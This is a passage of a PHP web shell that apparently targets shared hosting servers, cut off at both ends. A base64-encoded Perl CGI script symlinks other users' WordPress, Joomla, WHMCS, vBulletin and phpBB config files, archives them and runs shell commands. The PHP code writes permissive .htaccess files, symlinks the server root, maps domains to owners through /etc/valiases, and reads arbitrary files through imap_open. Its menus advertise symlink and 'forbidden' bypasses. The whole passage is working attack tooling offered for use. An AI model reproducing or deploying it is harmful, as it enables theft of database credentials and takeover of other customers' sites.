52QnVsbGV0aW4xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+UGhwYmIyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nLS0+V29yZHByZXNzMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGExLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG00LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG02LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG04LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywka29sYS4nLS0+NS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJGtvbGEuJy0tPjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJGtvbGEuJy0tPmludmlzaW8udHh0Jyk7DQpzeW1saW5rKCcvaG9tZTUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+Ny50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRrb2xhLictLT44LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJGtvbGEuJy0tPm1rLXBvcnRhbGUxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLictLT4xMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywka29sYS4nLS0+U21mLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nLS0+cGhwYmIzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU1LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPmluZmluaXR5LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4zLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPlBocGJiMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0tPldvcmRwcmVzczIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+Sm9vbWxhMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG01LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG05LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJy0tPjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLictLT40LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLictLT5pbnZpc2lvLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU2LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJy0tPjcudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nLS0+OC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLictLT5tay1wb3J0YWxlMS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywka29sYS4nLS0+MTIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTYvJy4kdXNlci4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJGtvbGEuJy0tPlNtZi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJGtvbGEuJy0tPnBocGJiMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNi8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT5pbmZpbml0eS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT52QnVsbGV0aW4yLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLS0+dkJ1bGxldGluMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0tPnZCdWxsZXRpbjQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictLT5QaHBiYjIudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictLT5Xb3JkcHJlc3MyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPkpvb21sYTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5Kb29tbGEzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG0xLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTQudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htNS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictLT5XaG03LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0tPldobTgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLS0+V2htOS50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRrb2xhLictLT41LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywka29sYS4nLS0+NC50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywka29sYS4nLS0+aW52aXNpby50eHQnKTsNCnN5bWxpbmsoJy9ob21lNy8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLictLT43LnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJGtvbGEuJy0tPjgudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywka29sYS4nLS0+bWstcG9ydGFsZTEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJGtvbGEuJy0tPjEyLnR4dCcpOw0Kc3ltbGluaygnL2hvbWU3LycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLictLT5TbWYudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRrb2xhLictLT5waHBiYjMudHh0Jyk7DQpzeW1saW5rKCcvaG9tZTcvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywka29sYS4nLS0+aW5maW5pdHkudHh0Jyk7DQp9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIiBiZ2NvbG9yPSIjMjIyMjIyIj4NCjxwPlBhaW4gU2NyaXB0IFRvIFN5bWxpbmsgQ29uZmlnczwvcD4NCjxwPjxmb250IGNvbG9yPSIjMDA5OTAwIj5bPC9mb250PiBSZUNvZGVkIGJ5IFZpcnVzYSBXb3JtIDxmb250IGNvbG9yPSIjMDA5OTAwIj58PC9mb250PiBPcmlnaW5hbCBDb2RlZCBieSBLYXJhciBhTFNoYU1pIDxmb250IGNvbG9yPSIjMDA5OTAwIj58IDwvZm9udD4gDQpEZXZlbG9wZWQgQnkgSGlkZGVuIFBhaW4gPGZvbnQgY29sb3I9IiMwMDk5MDAiPl08L2ZvbnQ+PC9wPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiByb3dzPSIyNSIgY29scz0iNzAiICBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYm9yZGVyLXJhZGl1czogNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCBibGFjazsgYmFja2dyb3VuZC1jb2xvcjojMjIyMjIyOyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZTo4cHQ7IGNvbG9yOiMwMGFhMDA7IiAgPjwvdGV4dGFyZWE+PGJyIC8+DQombmJzcDs8cD4NCjxpbnB1dCBuYW1lPSJ0YXIiIHR5cGU9InRleHQiIHN0eWxlPSJib3JkZXI6IDFweCBzb2xpZCAjMDA3NzAwOyBib3JkZXItcmFkaXVzOiA0cHg7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4IGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOiMyMjIyMjI7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I2FiYWJhYjsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdldCBDb25maWciIHN0eWxlPSJib3JkZXI6MXB4ICMwMDc3MDA7IGJvcmRlci1yYWRpdXM6IDRweDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojMjIyMjIyOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojZTRlNGU0IiAvPjwvcD4NCjwvZm9ybT4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzIyMjIyMiI+DQo8cD5Eb25lICEhPC9wPg0KPHA+Jm5ic3A7PC9wPic7DQppZigkRk9STXt0YXJ9IG5lICIiKXsNCm9wZW4oSU5GTywgInRhci50bXAiKTsNCkBsaW5lcyA9PElORk8+IDsNCmNsb3NlKElORk8pOw0Kc3lzdGVtKEBsaW5lcyk7DQpwcmludCc8cD48YSBocmVmPSInLiRGT1JNe3Rhcn0uJy50YXIiPjxmb250IGNvbG9yPSIjMDBmZjAwIj4NCjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmUiPkNsaWNrIEhlcmUgVG8gRG93bmxvYWQgVGFyIEZpbGU8L3NwYW4+PC9mb250PjwvYT48L3A+JzsNCn0NCn0NCiBwcmludCINCjwvYm9keT4NCjwvaHRtbD4iOw==\';
$file=(base64_decode($vw));
mkdir(\'perl\', 0777);
$hope = fopen("perl/.htaccess", \'w\');
$hcon= "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .pl
AddHandler cgi-script .pl
AddHandler cgi-script .pl"; 
fwrite ( $hope, $hcon ) ;
$pelfile = fopen("perl/vw.pl" ,"w");
fwrite ($pelfile,$file);
    chmod("perl/vw.pl",0755);
   echo "<iframe src=perl/vw.pl width=50% height=70% ></iframe><br><br> ";
   echo "<font face=\'Tahoma\' color=\'#007700\' size=\'2pt\'>check in this directory for configs files</font><br><br><b><a href=\'perl/\'  target=\'_blank\'> Click Here </a></b><br><br>";
}

echo \'<table width=100% border=0><tr><td align=center></td></tr></table>
<p><form method=post>
	<input type=submit name="ms" value="Read /etc/named.conf" /></form></p><br>\';

if(isset($_POST[\'ms\']))
{
error_reporting(0);
$cmd="ls /var/named";
$r=shell_exec($cmd);	
mkdir(\'conkill\',0777);
$rr  = " Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$f = fopen(\'conkill/.htaccess\',\'w\');
$agshell = symlink("/","conkill/root");
fwrite($f , $rr);
echo \'<form method=post><textarea class=area rows=10 cols=35 name=web>\';
echo $r;
echo \'</textarea><br><br><input type=submit name=w value="Bypass Now !">
</form><br><br>\';
				
}	
error_reporting(0);
$webs=explode("
",$_POST[\'web\']);
if(isset($_POST[\'w\']))
{
$webs=explode("
",$_POST[\'web\']);
echo "
<div class=\'tmp\'><table width=\'40%\'><tr><td><font color=\'#e4e4e4\' ><b>Domains</b></font></td><td><font color=\'#e4e4e4\'><b>Users</b></font></td><td><font color=\'#e4e4e4\'><b>Symlink</b> </font></td></tr></div>";
foreach($webs as $f)
{
	$str=substr_replace($f,"",-4);
$user = posix_getpwuid(@fileowner("/etc/valiases/".$str));
echo "<tr><td><font color=red>".$str."</font></td><td><font color=#b0b000>".$user[\'name\']."</td><td><div class=\'cone\'><a target=\'_blank\' href=conkill/root/home/".$user[\'name\']."/public_html/>Symlink</a></div></td></tr>"; 
flush();
}	
	
}
echo \'</table><br><br>\';
}
if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'file\'){
echo \'<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Symlink Manual</span><center><br>\';
echo\'<br><form method="post">
<input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
<input type="text" name="symfile" value="file name symlink .txt" size="60"/><br /><br />
<input type="submit" value="symlink" name="symlink" /> <br /><br />
</form>\';

$pfile = $_POST[\'file\'];
$symfile = $_POST[\'symfile\'];
$symlink = $_POST[\'symlink\'];

if ($symlink)
{
@mkdir(\'simfel\',0777);
$c  = "Options Indexes FollowSymLinks 
 DirectoryIndex ssssss.htm 
 AddType txt .php 
 AddHandler txt .php 
  AddType txt .html 
 AddHandler txt .html 
 Options all 
 Options 
 Allow from all 
 Require None 
 Satisfy Any";
$f =@fopen (\'simfel/.htaccess\',\'w\');
@fwrite($f , $c);
@symlink("$pfile","simfel/$symfile");
echo \'<br /><font face="Tahoma" color="#ff6000" size="3pt"><b>Done.. !</b><br></font><div class="cont" align="center"><font face="Tahoma" color="#ff6000" size="2pt">Open this file -> <a target="_blank" href="simfel/\'.$symfile.\'" >\'.$symfile.\'</a></font></div>\';
}
}

if(isset($_GET[\'action\']) && $_GET[\'action\'] == \'manu\'){
echo \'<center><b class="conte">
<a href="?action=sym">Symlink Info</a> -
<a href="?action=dose">Cms Scanner</a> -
<a href="?action=vkill">Perl based symlink</a> -
<a href="?action=file">Symlink Manual</a> -
<a href="?action=manu">Manually Retrieve Config</a> -
<a href="?action=ensim">Enable Symlink If Disabled</a> -
<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
<a href="?action=simby">Symlink Bypass 2014</a> </center>
</b>\';
echo \'<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Manually Retrieve Config</span><center><br>\';
echo "<input type=\'submit\'  value=\'Copy & Symlink\' /><br><br>
<select name=\'switch\'>
<option selected=\'selected\' value=\'file\'>View file</option><option value=\'dir\'>View dir</option><input type=\'text\' size=\'60\' name=\'string\'><input type=\'submit\' value=\'go\'>
</select><br><br>";
function red(){
  
$string = !empty($_POST[\'string\']) ? $_POST[\'string\'] : 0;
$switch = !empty($_POST[\'switch\']) ? $_POST[\'switch\'] : 0;

if ($string && $switch == "file") {
$stream = imap_open($string, "", "");
if ($stream == FALSE)
die("Can\'t open imap stream");

$str = imap_body($stream, 1);
if (!empty($str))
echo "<pre>".$str."</pre>";
imap_close($stream);
} elseif ($string && $switch == "dir") {
$stream = imap_open("/etc/passwd", "", "");
if ($stream == FALSE)
die("Can\'t open imap stream");

$string = explode("|",$string);
if (count($string) > 1)
$dir_list = imap_list($stream, trim($string[0]), trim($string[1]));
else
$dir_list = imap_list($stream, trim($string[0]), "*");
echo "<pre>";
for ($i = 0; $i < count($dir_list); $i++)
echo "$dir_list[$i]
";
echo "</pre>";
imap_close($stream);
}
}
if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
echo \'<br><b><font face:Tahoma, Geneva, sans-serif; color="#ff0000" size="3pt">Sorry, This function does not work on Windows platforms.</b></font><br>\';

}else

{
$slash="/";
$basep=str_replace("\","/",$basep);
}
$s=$_SERVER[\'PHP_SELF\'];

echo \'<br><form method=post action="\'.$s.\'">
<p align="center">
